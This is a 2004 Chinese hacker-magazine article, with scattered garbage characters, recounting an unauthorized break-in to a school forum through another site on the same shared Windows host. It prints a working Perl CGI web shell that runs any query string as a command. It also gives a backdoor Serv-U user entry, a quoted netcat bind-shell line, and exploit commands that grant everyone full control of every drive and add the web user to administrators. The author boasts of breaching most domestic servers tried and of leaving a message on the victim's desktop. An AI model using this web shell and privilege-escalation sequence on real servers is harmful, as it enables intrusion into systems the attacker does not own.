剑走偏锋——灵巧的旁注攻击 : e) y* U) A! z! H- ^4 l7 C
本文作者:angel1 E& ]7 b, ^0 N+ M- e8 z
文章性质:原创$ }* f- g6 `& c# r. C2 o2 W7 n
发布日期:2004-11-09
4 \8 m! i* o5 A9 a注意:, @' i5 R4 w; s( E/ J
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。& o, j: M; @$ x, d
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
, N3 o6 l6 u. a3 t# `/ V9 P( Y0 R0 p
& b3 R8 ]; n9 J; O2 A 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
6 [8 u4 [/ _/ }) G9 Y7 J2 Z4 z# k X6 x5 k; r0 f+ G
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
7 W" e0 z2 t& P
; I* e0 I" v" d. D 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 6 i4 G; T! D% U0 u
& k4 Z0 i8 s. V& u# R 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
. |. ?' S' }# ~' q3 z/ h* d5 R$ q4 U$ j( @- y
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ) J5 S) y& r# E: A. P6 Q
/ H4 W8 Y8 n$ Z, _$ E
没有目的的跳转目录着……
. H, B! d2 {6 V- R' ?8 ^ F. O5 O4 N- j) @$ U2 d9 Q9 r
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… L4 U2 l' p: d
' x8 |/ E7 I. N! y; a R! l9 h# V# n! ]1 z 结束了吗?不,我试着 FTP 一下:
7 S3 g' u' |4 a$ a2 P3 _5 L0 K, \' D+ U
Microsoft Windows 2000 [Version 5.00.2195]
; K+ p8 {1 [ H: e(C) 版权所有 1985-2000 Microsoft Corp. ! g: [& P% p- N W1 |/ m
# e8 V/ B+ I: I: t+ g+ t
C:\Documents and Settings\Administrator>ftp www.school.com* q4 R- q- t7 p# {8 |4 F- _
Connected to www. school.com. 5 B/ M7 [" Y( m( Z8 O9 a5 r
220 Welcome to FTP Server...
5 ~7 e: \& [) k, }User (www.bjtrq.com:(none)):
% R5 e5 e% [$ c1 l$ ^331 User name okay, need password. , D/ G5 U) U1 c" T- W- j
Password: % A# H1 f% V* r6 ]
530 Not logged in. : O1 a! g' z" ]1 `; D" r: }
Login failed.
6 T6 ?* A" z( x& S" Kftp> bye
3 p, G/ O& c" d8 c5 Q221 Goodbye! ! Z' C. n( R" X( H7 O. W9 X; u5 s
) @' X( J1 [1 b2 q( K
% A: W" _( O7 M, [0 D 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
; R2 @( {6 n4 L+ k; g% C6 m+ U6 C* v6 |
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 # E/ x6 a" ?- Y1 Q0 ]4 \2 N- C
" b; J; S2 e$ L8 r4 I5 Q* ^Application Data
+ |& U. B4 W. y. {5 m% jDocuments
1 o% g5 z, W/ K0 Z$ ]DRM
. n: T u; W! ? Q% t- f z SFavorites
: F) N) R. a5 X, r$ i' kTemplates
4 ?, v b! H+ l& t; @/ ?「开始」菜单
% C/ l; ?5 I7 f& {" D桌面
6 f* Q8 I, R7 @+ }2 P& x * q# a: a; o- f T
6 ?# Q2 x, Z9 x" _ 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
) c+ A( w y. E
! H3 Y' \2 _% G4 }. I: ]% `$ iActiveState ActivePerl 5.8
7 k5 E8 o5 k6 }2 q8 Y IAdministrative Tools
( \( Y0 v& k/ m: t/ X8 \Deerfield.com6 E$ G' `+ s( `" _
DTemp
: i q3 f/ `9 s, j j& n/ zIPSentry. B G2 U) k1 I
MBM 5
/ S. [& O3 c' d% [1 INetMeter* C9 v- ?: A* R
Network ICE
) Q! ]0 X% n/ ^; a5 kPersits Software AspEmail( w1 ~9 t1 a& g7 [( B& z; N% m
Persits Software AspJpeg
$ h7 a3 Y2 `: q. k' [% T8 q- i, Z; \Serv-U FTP Server* ^) P) K! ~6 J1 t8 p1 P6 i: P( c w$ J
Symantec Client Security/ I, C& ^0 X+ |- r3 \* f
Windows 优化大师" T8 ^0 c3 I% C. O+ M
WinRAR' z4 S& j* B4 N @0 t* o
启动
* J: L( \; d- \; v( d管理工具
% I! R' ]) y$ E附件7 p3 b7 c0 O& I7 T) I; U% ]5 A
E3 X; ?( O% |/ B9 O
; c: _4 M( P% q* B7 h9 a, q9 Z 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 $ d) M9 Z# d( F$ D
8 p7 z7 g: E0 Y' R
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
# C2 x8 x. p( I& \ v( A; u) F6 q* R! H+ P x+ c2 e/ G
User281=angel|1|0
5 i% v6 r0 q) Q+ o/ m . i' e0 Q+ [7 [! `
' k4 T7 Q+ H2 r G2 d5 [. b( N# g* m3 a
然后加上 6 e6 t3 T; K( d8 j* w2 e$ r
3 j' N1 a# C9 u4 ]2 `[USER=angel|1]
9 P; R; \, B, Z: k! G0 R7 H* B0 V1 wPassword=ng98F85379EA68DBF97BAADCA99B69B805
: C) W% T: g7 c" SHomeDir=D:\websites
, O0 x3 q6 @, {9 x4 JRelPaths=1
# Z# f- p3 G) ZTimeOut=600
- N% n7 v# x& E- F. C3 k6 Q5 l, UMaintenance=System# j- f) X# h' b: z
Access1=D:\websites|RWAMELCDP
, k/ Y1 X- c5 [" r4 F/ ]' qSKEYValues=& P% I* u, [% F5 \' }
6 ]1 G6 L+ E; \2 J; G
8 a" W* j3 s3 s
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
" g7 P& ?3 s" z) P, l+ x& v9 T" y1 y$ q4 N
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 : |& V+ \" T! R4 Q! Y; J; w+ f/ t
0 W6 d8 Q. w3 a 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 Y" V! i k) O$ g: i* x8 c H$ I8 p1 O, |
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: / G- h9 x6 x9 A! T0 l
* ^. j" S0 q+ F7 A9 t: Y5 i#!/usr/bin/perl
/ ?3 b& x/ Q3 {6 A4 X" {9 sbinmode(STDOUT);
. @3 G9 c2 z. Y( `7 O0 ssyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);7 M+ D6 L, m7 t. k- ?4 R
$_ = $ENV{QUERY_STRING};
8 Z0 o# [% v8 y* H9 v C7 D" I" Ts/%20/ /ig;
$ o. B- F/ G7 W0 Os/%2f/\//ig;" I4 U: u5 \% z; D' |6 p
$execthis = $_;
2 Y" c) ^9 ` U) {syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
" Y' V9 |+ P7 C" ~4 k8 Nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
8 }0 e8 U4 `& f0 }* k+ L( O8 D+ R2 ]system($execthis);
7 s0 |! x% D) K+ H% a$ ssyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
0 Y. ]5 a& X* T8 Mclose(STDERR);. Z) f& K1 S. i
close(STDOUT);
" p2 B/ p' f0 y5 h$ v$ zexit;6 ] q0 k2 [+ ?, q; P
8 N [# D: t; {" N3 {1 u7 r8 \7 d; P$ E( t* Q0 D M5 a( ?: j$ P
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 2 Y0 |- Z5 H F( f N
' _6 u$ c6 R6 i
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
/ M& n' H- U9 J; o7 b
4 ]: a& Q" _- y% hhttp://anyhost//cmd.pl?d:\user\bin\su.exe 5 n$ l+ k' _# _
% h- Z; N% g; ]$ U1 @
) G+ r6 P* C- H) C7 B/ S, g2 u- {
返回:
8 O9 c# G+ m% [1 o7 j) ^* M$ p( ^1 Q9 d2 \- A; [3 N( n
Serv-u >3.x Local Exploit by xiaolu 6 u- j+ w) M- j5 `, v: T$ m3 a3 u
2 q7 m) V- E$ e% q0 ^! Q/ SUSAGE: serv-u.exe "command" $ ]# L3 J7 p+ F$ K6 \9 _7 Q+ y
, l5 u, |4 Q# L! z" n% U; u" y
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
9 J7 I; x( W ^/ K4 g
& o, i4 H$ \/ u' A3 c! R
' @( K4 |6 H7 r0 i3 s/ N) _8 e* O 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 j9 ]4 V7 t5 w# H0 _# @" m! \/ D: a( E" ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ! v2 p3 C; t6 }9 }& Q2 ?, V" e
* _ U% P# [" |6 L1 J- Ehttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ' c$ M/ J3 f, F2 `
/ p. o5 Q& i/ a" ?9 Phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 0 o G, i9 Y5 |! X/ K( V% g
& u- R$ B5 k& A9 }3 O: J$ Khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
) W( V, C7 K1 D1 r, i ( m# C8 B9 ~1 V5 m6 [! j( u
! x8 I' U3 o5 C" p6 c
返回下面的信息,就表示成功了!!!
6 K+ S1 H6 B B9 I8 t& f. c# {3 o7 n; J) K! G
Serv-u >3.x Local Exploit by xiaolu : Y k& F! }+ H8 i$ r
" r% A" w" e2 c& `. `# T
<220 Serv-U FTP Server v5.2 for WinSock ready... $ n9 ?# t& b* q% L: i
3 P5 q. M/ F) Q, q. C V) ?. j
>USER LocalAdministrator ! A( A: E) s$ L
/ L6 }: a$ l4 x3 r<331 User name okay, need password. & ]& T0 {; i+ n8 M
, a: E9 l$ y% c. |" c
****************************************************** $ X4 ?: b) ^( O
8 k$ d+ N7 i" m7 g! _
>PASS #l@$ak#.lk;0@P & v2 L6 J3 y6 Z
7 L0 i, i2 X" O! h
<230 User logged in, proceed. * \' E& L! Z8 r% ?, l6 M
: p5 a0 S- M+ J* I****************************************************** ( l4 ]/ c; R7 E( K
& s: Z5 O4 e& r( K>SITE MAINTENANCE ( f* [0 N# f! Y# A6 [- q9 j
5 }4 c( i0 j+ j# i- U
****************************************************** ! {7 T2 f( g. W% Q! p# A! }, L
2 H: s% |" b4 @. Z% @' h6 `[+] Creating New Domain... 5 u2 V4 |# A! Z& m4 v
/ c( ?4 o+ a7 K5 X<200-DomainID=2
: A: B: \7 B+ {8 `; L5 i
6 g9 D- s! }8 G+ O3 _+ o<220 Domain settings saved * y! k) d! J7 G2 L8 V2 @
& X5 Q. E4 \2 a1 ^2 p, D$ C
******************************************************
- L& d- X" t$ U H$ S& ^- I; X, t$ {9 K V' }: P% Z' s! j
[+] Domain xl:2 Created % |7 f0 f( Y, X5 i# Q d! Z
, p; y# ~/ r3 \$ U
[+] Creating Evil User + i: |( O& W7 N8 l2 ?! H! D6 l
k1 n0 D/ T0 x) Z2 x2 }9 F
<200-User=xl 1 m7 F- g$ Z5 h% H+ V/ z6 K
3 R# A0 E* `2 o6 p% q) p
200 User settings saved ! ` {5 V3 f- R6 Y: G. M
$ t5 ]. O/ f6 m7 X! o8 L
****************************************************** 8 G4 C+ j* K' N/ o) q0 Z9 w
( L; p' O4 }& g* Y6 ]6 q! L! H: G- J
[+] Now Exploiting... : T2 @9 e* n( c0 q7 v6 h
8 s0 a/ Q) L, w9 G: h9 X3 c>USER xl
3 [- u( j) b' }* O: j- \6 A- x5 ]" m
<331 User name okay, need password. $ e# T9 V6 `2 U& z9 U
" G- }4 j/ R6 d****************************************************** 4 M/ [! r/ P2 j: S' s
9 a, P) r% s2 ^6 q1 Y' V>PASS 111111 ( Q& V D- S9 r7 T: N
# U7 W# G* S4 p4 ^4 p) a<230 User logged in, proceed. 4 v) i9 x9 j; b( u# h
9 A- [, M. M' |****************************************************** 5 V6 b/ x9 R6 I
, Z, b8 V. @5 t4 w) W; {0 H- L[+] Now Executing: cacls.exe c: /E /T /G everyone:F
/ A+ V* v3 N2 k+ t# Q; Y Q( G; j# n' Q9 [1 k/ ^
<220 Domain deleted
' M2 v2 u6 ^- @- v
- Q" J0 @; { A1 S/ E' j4 }****************************************************** * H/ M0 f( K( z2 j" H! ^, V3 }- V
* e" L; V7 A& V2 _
3 P _, F6 r9 |5 K" p& P 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ( C, X8 n! n G9 |4 y
3 r8 }2 ^) _0 q- A
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ) G$ ]7 G( f; y
* c4 z. ~# Y" `# }. x; Y( | F
2 o3 N% L/ H/ `2 S* {3 w& T* y 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 3 B! u5 N) u4 L
' j% O2 L. f# B4 k1 | 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。9 r1 i( u% L6 G- g; Z
) C. l3 d/ A" H" d1 _: z
( O8 w* h, s$ [" X; V6 J9 T% | |